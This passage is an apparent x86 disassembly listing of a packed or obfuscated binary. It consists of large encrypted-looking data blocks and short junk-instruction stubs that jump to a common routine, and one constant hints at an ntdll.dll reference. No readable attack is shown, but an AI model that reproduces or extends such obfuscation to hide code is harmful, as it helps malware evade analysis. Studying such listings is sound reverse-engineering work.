12FAF2A1h, 47C30895h, 6EF2AB2Eh dd 0D7E9E5F2h, 4D933B5Eh, 1C364167h, 0E4B93D63h, 74EB15EFh dd 0EE068A69h, 54785063h, 3717F8Eh, 80737515h, 111CEF0h dd 2E168F13h, 8529E02Dh, 0AA8792h, 47480000h, 5E1EAE2Bh dd 0A10C82DDh, 5BE212C3h, 8A6970E9h, 363B18FAh, 7AB6061Ch dd 0C5A6A1E8h, 918DFFF7h, 6412B8E6h, 0E0061C35h, 0F5998D0Eh dd 356405AFh, 17DF011Ch, 0E11089A5h, 879B4356h, 9B55D71Ah dd 8FF26D33h, 0A61502h, 21F9CC9Bh, 40DFE1ADh, 0DA1A9E55h dd 0CC00C244h, 1CB0360Bh, 8D0E8BA2h, 9F4752CBh, 0E9A21A1Eh dd 444A34BFh, 0D2000001h, 0A65A4360h, 0CB8D0E8Bh, 8C544954h dd 0E69A0394h, 4A514A4Fh, 0D9C05931h, 0B2273CC4h, 0DCF977E9h dd 0BC2539BFh, 0FFA5E9DFh, 12FAF1B5h, 479F24B1h, 6EF2AB2Eh dd 13B8E5F2h, 0A5BE2B47h, 0B13FC130h, 4552CE42h, 643C8758h dd 5D073A68h, 0EBED1503h, 5C45D9E3h, 0FE75873Fh, 609418DBh dd 8E6572EEh, 95B0B601h, 25DEB826h, 0D70DC12Fh, 0BD83622h dd 3BD80C92h, 0A2E9ADDEh, 0C517FFh, 0E1530000h, 0C21D7C4h dd 0DF500895h, 0F27D9C2h, 0D64F118Ah, 0A8E1DAC3h, 4D4E4BE2h dd 9805908Bh, 4C514EE0h, 9EFF9894h, 0F6BCE2AAh, 0F212FAF1h dd 9B2EE2E1h, 3DBF0BC3h, 0AD43B326h, 150D7594h, 0C00C2050h dd 14968F63h, 89A517DAh, 61900920h, 0D48C11DFh, 6D8F3F58h dd 890BE6F3h, 1F56E66Dh, 0DE406F15h, 4EE2957Fh, 0F1AFC861h dd 0BF8ED4CBh, 1CD719BFh, 93455698h, 0F8C2E09Fh, 28BF8ED4h dd 9618AA37h, 0D422A836h, 9016BF8Eh, 0D54C6E5Eh, 3FB130C4h dd 2DAAC227h, 22D3F795h, 0A24C8CD3h, 0F4614Fh, 0ECE0F975h dd 0B43F5CD2h, 3FE7C430h, 0BC37A2BDh, 2E42BC38h, 8BA31DB1h dd 7F67E60Eh, 3, 47844FD0h, 0CF41B015h, 39AB4653h, 0C537BA27h dd 54C82BAEh, 0C335BCDDh, 50C42FAAh, 0C034BFD8h, 4DBF32AFh dd 5D2AC9D0h, 81E68956h, 4C6h, 4BB5300h, 29000000h, 34875BDEh dd 57685C24h, 8900000Bh, 8568242Ch, 8900004Eh, 0BA52240Ch dd 93B387Eh, 545A5D52h, 83240C8Bh, 0EC8304C4h, 242C8904h dd 8B08418Fh, 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 2434FF5Ch, 4C4815Dh, 0E9000000h, 0FFFA2C94h, 7E1EB9A7h dd 3B51DEB8h, 50C50309h, 179D85C6h, 68470935h, 0CF381725h dd 0EC9B5FFh, 858D0935h, 9353898h, 0D88BD0FFh, 1F9D858Dh dd 68500935h, 104h, 85C6D3FFh, 935179Dh, 0F8BF6853h, 0B5FF8307h dd 9350EC9h, 3898858Dh, 0D0FF0935h, 365F8589h, 0BD83093Bh dd 9352365h, 0B840F00h, 8B000000h, 352DD19Dh, 5E909h, 0BB0000h dd 68000000h, 100h, 3663B58Dh, 5356093Bh, 4CD95FFh, 0B58D0935h dd 93B3663h, 1E9F003h, 4E000000h, 0F5C3E80h, 984h, 2F3E8000h dd 0FFED850Fh, 6C6FFFFh, 63858D00h, 50093B36h, 365F95FFh dd 0FF58093Bh, 18AFA2E0h, 5B77A82Fh, 0C4A69735h, 989E0034h dd 294A7302h, 9904B635h, 6076ED6Bh, 0D8638316h, 52957733h dd 843F0135h, 1CDB4719h, 0D704EB25h, 0E94DD9C6h, 5A0h dd 19822715h, 0CECFCA67h, 1388150Ah, 0D7C4D54Dh, 0C910821h dd 99907A0Fh, 4EE59B00h, 908E524Bh, 4AE69A03h, 3458504Dh dd 0FAEE446Eh, 30934012h, 7875EB15h, 79FBF6E3h, 8918977h dd 1D8F67E9h, 4C349801h, 29C36684h, 0F37A7A16h, 0ACF1E881h dd 2F9F3834h, 0EB06938Dh, 92068D69h, 7EF2019Eh, 89FBF6E3h dd 77E90891h, 0A917DAFFh, 60AD483Ch, 0C86417FDh, 63FDFFCFh dd 0FDF97B76h, 0D9C65820h, 0B5223CC4h, 4451CA3Eh, 0B9243BADh dd 2CA9C63Ah, 1E0657C5h, 0C03E892Dh, 4DA3853Ah, 0BFEE637h dd 4D138815h, 0FA04C8D1h, 901B4C67h, 6911086Ah, 0CE86C87h dd 3FD0F785h, 0F1D51C36h, 7FA05091h, 8684EB29h, 0D282B129h dd 40CDF5FBh, 67C6876Ah, 967ED323h, 50A158B5h, 77E81289h dd 0F105876Ah, 5B4Ah, 2B478900h, 0DF9F43AEh, 83BB6070h dd 4EE41067h, 1C35D566h, 0DA19869Ah, 23CECB66h, 6220B9B1h dd 6B6803F1h, 37A2B943h, 0C98272BFh, 89506584h, 1E3h, 2A47A400h dd 5DD044AFh, 0B909AD44h, 0C54057E1h, 6CDE16B1h, 0A910E3F4h dd 718B483Ch, 9812E2FFh, 0F97F1C85h, 2C1F7C65h, 23AB2E47h dd 0EC8799h, 20F747DBh, 0C7777A74h, 7B2B72D0h, 0FEF6F8EBh dd 0F1AFDB7Fh, 1C354ECBh, 787B66FBh, 2CC8CEF4h, 0CF22BFB2h dd 7500F461h, 0CFF1DDFCh, 0D8B54154h, 3B930C20h, 0D8BD9D83h dd 0F501708Ch, 7865FA6Eh, 270D9879h, 50DEF726h, 699089h dd 153F0000h, 41A12BB9h, 13951C36h, 0E9F069E3h, 0FC99960Ah dd 44B690F5h, 0F946AE2Bh, 66E4E0Bh, 0E072459Bh, 908903F3h dd 55CC9409h, 0DA388844h, 3DAF0552h, 0C335BC38h, 546000ABh dd 0DF2F6A8Fh, 659B5540h, 0D120CECBh, 0CE8F75F0h, 8950738Fh dd 36F8h, 0EB15D700h, 138D6974h, 747F1Ah, 0EA82716Eh, 0C9602B19h dd 47E8CBD0h, 0B444AF2Ah, 1C364211h, 3E1F0518h, 894FFA0Fh dd 0A58h, 9D4A3200h, 0EE15E4D6h, 47C7668Eh, 0A046AD28h dd 0B01C7DE0h, 2841C9CCh, 45B73FB1h, 0EEB78229h, 0A5102CFAh dd 1AD9C45Bh, 0AB995896h, 0D3F9A7E3h, 0C71C35C2h, 9480D521h dd 7B534EE1h, 0CC3E881h, 744167E9h, 2BAD44AAh, 4651EECBh dd 708A3E8Eh, 8F11E0F9h, 0B60ED967h, 0CAF21502h, 0B9AE14h dd 0EA04AA13h, 999507h, 2249E59Bh, 990F91E4h, 25CC22B2h dd 99F74181h, 2A70A53Ah, 0F9034CAh, 0A8C01301h, 0D850C42Fh dd 0FBD079Dh, 37B91301h, 52D33AB9h, 0C8558762h, 0AC3529DCh dd 0ECF569EFh, 129F9305h, 7B415F1Eh, 6F13010Fh, 0E86C8769h dd 747A1F16h, 0CACF6658h, 0D251A527h, 7803F162h, 8A170BE4h dd 920BE567h, 852B6DA0h, 18DFA92h, 2ED90000h, 0CDA959Bh dd 0F3D1A2FDh, 813D1FDh, 6150321h, 3E591BB6h, 46D8E74Fh dd 0B15F9759h, 0DC50C42Fh, 21BF0BC3h, 1301099Bh, 10ED098Fh dd 1089A416h, 8F6277EEh, 0FB77E90Dh, 4D6F13DEh, 0B32DC9D0h dd 0AF3C32BFh, 4CD023B6h, 23CD4FA2h, 1F360D0h, 0CA7BA44h dd 0BACC9B79h, 3EB53B92h, 0ACC03ABAh, 85C86A33h, 0E29285B8h dd 67h, 0C7872EB1h, 2739C307h, 0AAC537BAh, 9F35C12Fh, 1C364145h dd 0C4DD516Bh, 954BAB2Dh, 4209B3F1h, 0DBFD1C36h, 36A707E7h dd 8A644FE3h, 6FF3D967h, 0F231C35h, 0FAB0BB64h, 886640E9h dd 5A7FF769h, 0E60D8AA4h, 33361E7Fh, 836F55ACh, 1C705C2Ch dd 35F43C86h, 3EB6381Ch, 0F4EE049Ah, 0E40A1C35h, 0B9CBB7h dd 15FC0000h, 0B3770EBh, 4ED6520Ch, 0A631C52Bh, 4D933B13h dd 1502A3EAh, 43A08ADEh, 0B60E7FE3h, 98E9FFB2h, 0E7DB15C8h dd 0A52369D8h, 0DCF0FED5h, 0A2524FE2h, 2CB5A91Bh, 6C75E96Fh dd 4C762C60h, 521300F4h, 0F4268Ch, 467C2213h, 0D4C15EA0h dd 0D45B9B1Dh, 0F55344h, 0B915B913h, 0F4A12Bh, 0E3139513h dd 5FD3A68Eh, 3B8E5942h, 0BA356B63h, 680BD7C3h, 39BDDA56h dd 0E88E658Bh, 76342798h, 11E5A464h, 0B616839Fh, 3A2B806h dd 0CA2A8CB9h, 0FB15543h, 0E96B8613h, 20CCB80Dh, 0BF059B95h dd 0BB1C27AFh, 0CD13BB35h, 14FE7F12h, 3C7BF006h, 801CA6h dd 58961813h, 2E260596h, 0D50BC39Bh, 150D111Ah, 7519D8FEh dd 0EE418B19h, 0B33512FAh dd 4C55C943h, 0CB65574Fh, 55A123CEh, 0F26A47DBh, 58E80BE5h dd 4F998886h, 877262C3h, 0F9ADEEEBh, 866E6B07h, 978F1814h dd 0ACE0EC02h, 5C74CCF6h, 0CE26C8CEh, 5445DD4Fh, 765EAF9Dh dd 0A9F2EF83h, 539E3B37h, 36Bh, 844F9C00h, 41B01547h, 0AB4653CFh dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h dd 0BF32AFC0h, 2AC9D04Dh, 3846685Dh, 34890000h, 0E6895624h dd 4C681h, 0EE830000h, 24348704h, 240C895Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push edi mov edi, 3A7B4B7Bh push ebx mov ebx, 4D10047h shr ebx, 5 dec ebx sub ebx, 72CC5DF4h xor ebx, 85EB0618h add edi, ebx pop ebx and edi, 15837EC0h inc edi not edi dec edi sub edi, 0F5C4364Bh mov ecx, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push 7618h mov [esp], ebx mov ebx, 8 add ebx, eax mov [ebx], ecx pop ebx push dword ptr [esp] pop eax add esp, 4 mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dw 3EDCh dd 3B582BB8h, 0FFC50309h, 0D3E407E0h, 0D5806E63h, 0C65E9D4Eh dd 14E84Ch, 32940000h, 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h dd 1484FF64h, 2DB4A757h, 0D881665Ah, 0C281BF94h, 65C3h dd 0F236E981h, 0F62B2F94h, 5E8h, 0F7E1BE00h, 830F54ECh dd 2, 8B5BE78Ah, 0E381323Ch, 55A33F98h, 72B1F781h, 0F38073B7h dd 0D4C78155h, 564AC978h, 2840Fh, 61600000h, 0B7F78158h dd 5316B282h, 58D88B66h, 0B1323C89h, 81D98B17h, 8FAA67EEh dd 5840F54h, 66000000h, 8AC0F081h, 0AA63C681h, 0BF0F548Fh dd 0D0FE81C9h, 0FFFFF9Ah, 0FFFFA685h, 9026EBFFh, 0EC33B61Bh dd 6E558EAFh, 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h dd 5E740EA3h, 48h, 0 dd 65EE900h, 0C6680000h, 0E9093B5Ah, 0FFFA251Ch, 3B5BB668h dd 2512E909h, 5B68FFFAh, 0E9093B5Ch, 0FFFA2508h, 3B5D0468h dd 24FEE909h, 0DD68FFFAh, 0E9093B5Dh, 0FFFA24F4h, 3B5EAE68h dd 24EAE909h, 0F95BFFFAh, 2439BFDCh, 718E0BDh, 0E77F019Ah dd 3E37A9F2h, 4039029Bh, 554653CAh, 900D88A3h, 544956C8h dd 9607908Ch, 0FEC4DAB2h, 0FA12FAE8h, 45DBE5E9h, 0DF179958h dd 13D140h, 47020000h, 0D143AE2Bh, 8557445Dh, 1C364143h dd 0BBE0FD73h, 0D39B2E18h, 2FB1405Dh, 48D70DC1h, 0AC150342h dd 9739C72Ah, 58130141h, 0A7E6E7CDh, 0C39284F9h, 44AD21FBh dd 1F58470h, 2455Ah, 0D493900h, 0CD01D9ECh, 3552417h, 8E8E1015h dd 0E3CEDDB0h, 0AB6336CEh, 91927D23h, 4E7047E7h, 0AE32C1D6h dd 0DB169846h, 819D4550h, 9957D918h, 0CE675935h, 995845DBh dd 961AD917h, 893ED05Eh, 2CB250DFh, 95021EA0h, 0A1DC5008h dd 1F76B903h, 0C52BAD4Fh, 0B6C05621h, 0F2DC87B6h, 4C4h dd 0A5F6D381h, 0FAA33E33h, 0AFECE986h, 0F3A83129h, 0B8E5F46Dh dd 65FC8EFBh, 0BAB12774h, 64FA7E1Fh, 0BEB22677h, 0F8D47C21h dd 0FAE7E0EAh, 4C7D412h, 43AE2B47h, 2B45EDB8h, 2FC143AEh dd 48EA019Fh, 0D8FE1503h, 4A57CAF4h, 36565C82h, 4C521301h dd 0E1DBD3A8h, 2FA15049h, 0AA4AA431h, 0A2F51A32h, 973050BCh dd 10DE1F6Dh, 8CB010BCh, 798EC340h, 0DE4DE313h, 0DA0BCD6Eh dd 0C97A48D4h, 0BD84AB09h, 52B905h, 0EF11308Ch, 38E6673h dd 0CC12B6B0h, 839922E6h, 9C26BCE2h, 98839922h, 98F4D816h dd 6B8B0826h, 66234AD5h, 2846B87Ch, 30C448ABh, 10705C82h dd 0B9DDFDB2h, 57D61EF2h, 0AD21F9CCh, 65DD21F7h, 0FBD3D583h dd 84706901h, 2B4AE6D8h, 1A7B415Fh, 696F83A6h, 0A61A517Bh dd 4DA34583h, 0B948850h, 301BFADBh, 5640E382h, 3D4h, 9506A391h dd 4A534EE3h, 9FFC9996h, 435841D9h, 6835A4BDh, 352CDEABh dd 0EA81F7A4h, 342AAEEFh, 0EE82F6A7h, 0C804ACF1h, 0FAE6B01Ah dd 0D4F7A412h, 6772EB15h, 56B8088Ch, 0BFB48941h, 2F43BD39h dd 0C32EABC2h, 0B744AF41h, 0A9834ECh, 1502BECFh, 65120DAFh dd 0BE753Fh, 816F7113h, 8419BF75h, 0C8D6D0E3h, 1300BF02h dd 259F3C32h, 2D616D83h, 0BE794361h, 6B6D1300h, 9856F58Bh dd 9C420BD7h, 5928E30h, 9E3B37C9h, 63FF8156h, 0A5F07B76h dd 44C3E1EDh, 0B814F47Fh, 0B595AE36h, 6908F2DBh, 32F81h dd 694EEC00h, 28B1AC34h, 6772ED73h, 2DAAC236h, 6871E870h dd 77136833h, 3EC2DBFEh, 75EBB025h, 3BBDDEFBh, 0EFE1BA27h dd 0E5BB019Fh, 1EAF12FAh, 0AE2B479Dh, 35EDB843h, 6B200B99h dd 0E2D41503h, 4D772D4Ch, 49130118h, 0F6A749A7h, 1980Ch dd 10493D00h, 90E6A8D8h, 0F8669719h, 865E69FCh, 76468246h dd 2122B8F7h, 5E647EB2h, 5A1C3614h, 1F12A054h, 15150328h dd 53B58B93h, 0EADFD57Bh, 19C707DFh, 18F9870Ah, 7E09E8EEh dd 455B732Bh, 1FD15DD3h, 0B34D8127h, 77922BFh, 43766E6Bh dd 5AE5A495h, 286EFD7h, 11430000h, 0FC71E7B4h, 2F40B8E5h dd 0FF77E9B2h, 263FC1DAh, 5831EAB3h, 7D1EBBB2h, 287560FBh dd 7C21BEB0h, 2E6F6804h, 268C527Ah, 2212FAE4h, 2B475271h dd 0EDB843AEh, 0F00B9935h, 4150348h, 0B915B9E2h, 136A12Bh dd 0E3139513h, 6919CF6Bh, 0D10F5FBCh, 1300FDEBh, 0E509B9DFh dd 17AA4A0Dh, 0D4F8D48Ch, 0CE6677ECh, 0DD0740B2h, 1300DFD7h dd 8529CDD3h, 0CDF2CC5Fh, 5AD6E80Bh, 0D56BB33Dh, 92D735CCh dd 4C80586Bh, 21B68396h, 846F7186h, 0D8F4ACF7h, 0C4584DE6h dd 5A9418DBh, 5EB0EE9Ah, 928D39AEh, 0D60CC00Ch, 8D4951ECh dd 8A2EC6E8h, 68FF7E3Eh, 0E152AE2Ah, 4A35F9C3h, 5EBED8Dh dd 6C7B3DBDh, 1CD8435Bh, 8C118EA2h, 0A73F58D4h, 788C9468h dd 0ADC4AE35h, 6A000001h, 2EB2EBC8h, 83F5A633h, 34ACF1ECh dd 7E029B3Ch, 0F2A9F2E7h, 6178F199h, 2AAFC43Ch, 6471EF71h dd 34ADC137h, 0D70DC167h, 12FAE4EDh, 4717BCE9h, 0B843AE2Bh dd 0E99935EDh, 9C3A1D07h, 0A70DD35Ah, 0A31C35BDh, 5703F3FDh dd 2D99249h, 0C7126615h, 34270A6Bh, 22666688h, 0A2367Ch dd 0E4F16E13h, 5F3CB8DEh, 2BB9156Ch, 1C3641A1h, 50E31395h dd 8F356B45h, 8B1C3641h, 14DFFA75h, 3C905E90h, 0D1A89A6h dd 0C905AB15h, 599D3837h, 8A170BB5h, 0C6D34F11h, 3D15A02Bh dd 0C1E85391h, 0BADC0BD1h, 6B74E812h, 0E9827C32h, 738305ECh dd 507C65F9h, 933E3C70h, 0AF47C0BAh, 3810A330h, 0FA9B4E94h dd 97191502h, 0D53A564Fh, 0F2DC87F2h, 0DCh, 7D1EBB99h dd 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h, 5DD4B6C3h dd 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h, 0FAE3D8E2h dd 0FCBFCC12h, 6B76EB15h, 0F6FE9B95h, 4C80586Bh, 47FB1074h dd 61954714h, 0BF1227BDh, 7C22150Ch, 21B6AE50h, 46DA4ED5h dd 0A0BC4459h, 47AA2F47h, 38C82BC5h, 541850F9h, 18DBC65Bh dd 0E40F88A4h, 301AA03Eh, 880ED3D8h, 1E3B297Ah, 0D8303A80h dd 46A82ED3h, 996C58C5h, 0F97F1C85h, 3757C65h, 11836E6Bh dd 0C1718019h, 63C9FCA6h, 3A32CC94h, 64C1569Dh, 670F7570h dd 38BCDD55h, 0E2DCF9EBh, 37A94D4Ah, 7BFD9E3Bh, 40FCCCE7h dd 0A12B504Bh, 0BEFEA44Fh, 0E4DDD98Eh, 9585719Eh, 10h dd 2BB915F6h, 1C3641A1h, 7F455CD1h, 682B9D59h, 41B01547h dd 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h dd 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 1D49685Dh, 3C890000h dd 65F76824h, 14890000h, 24086824h, 2C890000h, 4EC8324h dd 0B8240489h, 93B59ECh, 5458C289h, 83242C8Bh, 575304C4h dd 0FB89D789h, 85D895Fh, 2434FF5Bh, 4C4815Dh, 0FF000000h dd 815A2434h, 4C4h, 1ED6E900h, 0EAD1FFFAh, 49EE3D7Fh, 88CFF61Ch dd 0A84299AFh, 3B5FAFB8h, 0FFC50309h, 0F0F9F6E0h, 9DCE953Eh dd 3679A10Dh, 0A6473B75h, 0A3B6BC60h, 6522CF1Ch, 0D1B8FE06h dd 0EC1E6D44h, 0E32A4A15h, 0F816C120h, 25CA166Dh, 340AB138h dd 4840EC1Dh, 41334E5Ch, 2CCBA856h, 50221335h, 1127B562h dd 0B9B1891Dh, 0DD96A222h, 0EE81Ah, 0A8600000h, 4E382E5h dd 0BE97E67Eh, 0D68F330Eh, 14E9h, 0E0C32100h, 0BC4EB95h dd 469F9982h, 73040624h, 0A21847Ah, 0C7815F75h, 5FECh dd 18B0Fh, 0B8F80000h, 17C2h, 6037FFFCh, 7E9h, 608BC300h dd 8490737Ah, 890F5961h, 3, 81F38B66h, 0E186A1F1h, 32F18158h dd 6617C24Eh, 81CA26BBh, 0A3A926E9h, 48C0F10h, 66000000h dd 510D78BEh, 6E8h, 1F4E0D00h, 0F8F5294h, 28Eh, 5B616000h dd 14E9078Fh, 0B3000000h, 0BC12739Ch, 982CF574h, 0BDACE78Bh dd 0E46FE55Fh, 81CC5063h, 0F3E249EFh, 2870F22h, 0B7000000h dd 45C78109h, 8322F3E2h, 850F01E8h, 0Ch, 1FE9B0B3h, 0A000000h dd 38FEA05Eh, 860Fh, 62E90000h, 0C3FFFFFFh, 0EE29ACD3h dd 0AC2A32FDh, 9CAD6136h, 8EBF425h, 0 dd 217FBC3Bh, 4BCE9h, 62806800h, 6DE9093Bh, 68FFFA1Dh dd 93B62E8h, 0FA1D63E9h, 641668FFh, 59E9093Bh, 0CAFFFA1Dh dd 8E524B68h, 0E3950693h, 944C514Ch, 0DEA2FB9Ch, 52495247h dd 0C1D85139h, 8A0F24DCh, 0C4D14F11h, 940D21D7h, 376D2107h dd 12FAE08Dh, 47775C89h, 6723AB2Eh, 24BEDB55h, 1C36419Eh dd 61E0149Ah, 852E43BDh, 0E10463B5h, 45AC42E8h, 0A5B933C3h dd 35805F3Ch, 0DE4F56Dh, 0D41A879Bh, 5CE0EAF8h, 0D2D41C35h dd 8FF2B01Ch, 8F15027Ch, 10E3F66Dh, 0DD14859Ch, 0B361955Bh dd 0E5E1A12Dh, 0F9AE0C48h, 7960F907h, 6066F67Dh, 21130068h dd 96F7D0C4h, 0D19285D2h, 2B2h, 0E70A4902h, 7F1814DCh dd 0F4475D71h, 150354h, 75A03EDEh, 0AED81E0Ch, 0C2DF531Bh dd 8302A02Ch, 7920B2DBh, 127DBB49h, 0D120E6CCh, 4BCE21Eh dd 0CE2044C3h, 5C29BEFEh, 3484A780h, 0E3B641C0h, 33FDA32Bh dd 47179D9Bh, 9F932DA1h, 6F821F12h, 0E69A03EDh, 4F752B4Ah dd 4B27E55Ah, 0D59B4BA5h, 0C8DDF0E4h, 2D64129h, 95C70000h dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh dd 0EE12FADFh, 9B2EDEDDh, 21D50BC3h, 9F150D23h, 0F4ADCDFh dd 0C1354FC4h, 0BF418D13h, 219B33A6h, 0DC60930Eh, 0A4BD4318h dd 592EBE35h, 0D7DA8DFAh, 18A63E5Bh, 0C5E0643Ah, 26E341Eh dd 0FD5F0000h, 203DC3D8h, 31CE4B9h, 0DB530596h, 21BDDBEh dd 7C0D0697h, 9902978Eh, 54494CE7h, 9805928Ch, 4A534CE0h dd 52782666h, 4612FADFh, 9B2E3695h, 21D50BC3h, 9F150D23h dd 5F97021Dh, 34C42FB1h, 12FAE092h, 0ED817B53h, 7B7BFDF4h dd 0F01D3E26h, 77928B5Eh, 186h, 73EB1558h, 18DBF876h, 209A5A94h dd 0BA60930Ch, 3DB42D40h, 0ADC13BBBh, 0CDD86734h, 442BB915h dd 38150364h, 0BAD3BB6h, 0CC13011Ch, 1A6E6B59h, 0D0128FA0h dd 13011BEAh, 4956C8DEh, 5EAF4FA7h, 9928523h, 25h, 0C39B2ECAh dd 724AD50Bh, 28AE1503h, 11953BC9h, 0CF561301h, 46DEE0E5h dd 0D0FDA551h, 97928529h, 0A1h, 0AE2B47F8h, 0F5DF9F43h dd 0DCF97600h, 762F9315h, 79F30332h, 0EDD5F9E0h, 0B78D193Ah dd 2DB44011h, 0B73AA7BBh, 0EBB02945h, 35852959h, 4C55C91Ch dd 3227574Fh, 0CD73892Dh, 5A6DF8FCh, 0BFB04A82h, 7826D222h dd 1501B1F1h, 1CD01A7h, 0FE51D9E3h, 2BCBCD12h, 0F5E47D7Fh dd 0A03930A8h, 0D7EDB844h, 947E25F2h, 140h, 0F5A60331h dd 0AAF3EE83h, 0FF9C3936h, 0A3F8E179h, 485544DDh, 0D54C3E4Bh dd 0A21D7C4h, 0D44A0E8Fh, 0E22D6C7h, 68240C91h, 0FADD903Ah dd 74578412h, 0F2AB2E47h, 0B8E5F26Eh, 0AE2B4713h, 445DD143h dd 653D8857h, 879B2569h, 6D55D71Ah, 92C9077Eh, 45DB1BAAh dd 1502E881h, 2F5B7375h, 0DD07928Dh, 1300D8D7h, 8529CDD3h dd 0D7F7E27Bh, 702E49E5h, 1300D84Ah, 9B56983Eh, 4600DD19h dd 0E11FB8B4h, 0FA55148h, 1300D8A9h, 3F5C45D9h, 9539A0B9h dd 0EFA4982Dh, 3DB98C40h, 26BC10B6h, 13006A9Ch, 0F6DE1698h dd 98h, 0E9D76A52h, 56B5D92Ah, 9B2EFF9Eh, 7FF10BC3h, 4118A240h dd 8A0C1C36h, 0A0EC9064h, 476AE8E0h, 10E4B087h, 0C346682h dd 99587E15h, 0D8E0B27h, 27CAD74Bh, 37087899h, 1881982Bh dd 0C9CC67D9h, 0D1E782Ah, 70D7EF41h, 98534192h, 7702F273h dd 3BBDDEFBh, 0B612BA27h, 0B6E6CC12h, 0BCE2FAB6h, 0B6B69C26h dd 3E5BD4FAh, 0D9331B3h, 7EF66AE9h, 0B269A59h, 0B8B3638Eh dd 0C94DDB52h, 0BB2438C6h, 967EA338h, 7064B1D3h, 0ABF0E985h dd 51A03935h, 369h, 844FAA00h, 41B01547h, 0AB4653CFh, 37BA2739h dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h dd 2AC9D04Dh db 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push 0C1Ch mov [esp], edx push edx mov edx, 480B02E4h push ebx mov ebx, 74B43F9h dec ebx xor ebx, 1321BA2h shl ebx, 4 sub ebx, 0A6652707h mov edi, ebx pop ebx add edi, edx pop edx push esp mov edx, [esp] add esp, 4 push eax mov eax, 8 sub eax, 21F654BDh add eax, edx add eax, 21F654BDh mov [eax], edi pop eax mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dd 657BB894h, 0C503093Bh, 114BE0FFh, 0BA800F83h, 4FF659F6h dd 104B363Dh, 576D7657h, 35556FA4h, 0B6AE0A7Fh, 0D95A262Fh dd 0AAAD46B0h, 0E7C72E39h, 745A611Bh, 9B9C5953h, 0E5685055h dd 97E61D2Ch, 2294CB2h, 8490753Dh, 53BA01F6h, 3D1A7619h dd 0BDFA5F2Ah, 0D334080Fh, 8D8D5354h, 93B6796h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h, 0B8502F60h dd 7D24D3FBh, 7F94DA81h, 8D8901B7h, 9351629h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 78C35545h, 9E4CFF5Ch dd 7A6422E9h, 0D0E88166h, 0DB58B68h, 0C7093523h, 35287D85h dd 73F409h, 85858B00h, 0E9093528h, 0Dh, 77C700ABh, 73B01335h dd 6B61CC66h, 5585C782h, 93522h, 0E9000000h, 12h, 0CA6D7E2Dh dd 13E9819Fh, 4EEBC7E4h, 0BF724BEDh, 0D881AE6Ah, 7D13FB42h dd 0D45B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 747E22C3h, 14A014FFh, 1EC19A3h dd 352CD59Dh, 0CE809h, 56330000h, 0D9CB338Ah, 0BC5B35CFh dd 8589556Fh, 9352975h, 595FF5Fh, 6A09350Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0EFB8C355h, 0FF006AEEh, 35082995h, 0EBC08B09h, 1F68BB6Ah dd 0B3BE820Eh, 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh dd 2D8A596h, 1336DECAh, 34AC908Bh, 352AF542h, 0E9C51D48h dd 3A754D3Fh, 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh dd 14CF82Ah, 7EE82B4Eh, 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh dd 0E050A7CEh, 0FD744458h, 0D18B1270h, 74A2B0DCh, 0AC6505C3h dd 53BD4EBBh, 5DB13EE8h, 0ACF53256h, 55F501EEh, 0ABB13256h dd 0D5B13256h, 0EAE84718h, 75EB86A6h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13254h, 57B63581h dd 0ABAB3252h, 0D5963244h, 0E9EA325Dh, 77F93256h, 0B8F93256h dd 0FE7F27Dh, 7D09690Eh, 36E06299h, 0CBE36206h, 0B460B930h dd 0B8E10359h, 75B126BFh, 70845E56h, 0CB006A6Dh, 8C5C3641h dd 395842E5h, 0D114AE59h, 85803D7Dh, 0B0803D04h, 2FE9680Eh dd 3044A40Eh, 0BC02AADh, 4C1CF681h, 79180225h, 91D46E99h dd 333054BDh, 0E658E250h, 81B13256h, 0DAD2A04Bh, 0D10EEC4Fh dd 336AD883h, 5B586237h, 8FB13256h, 45E270DBh, 561EBCDFh dd 0E67AA813h, 0E2EB6A0Ch, 0D803DC0h, 0F4803D04h, 58E9680Eh dd 42E36267h, 0D5B1325Dh, 687C56A1h, 0BB78E2C5h, 0B534CEB9h dd 52E36267h, 0F4E96867h, 0FE9680Eh, 0C635A540h, 0C65801F4h dd 65B13256h, 0DE4B174Ah, 3D77935Eh, 7EE3EFE2h, 0D12FEB76h dd 0DCE8A71Ah, 0EF385395h, 5ED13672h, 1AE95394h, 693EDC3Fh dd 0E2EB6C73h, 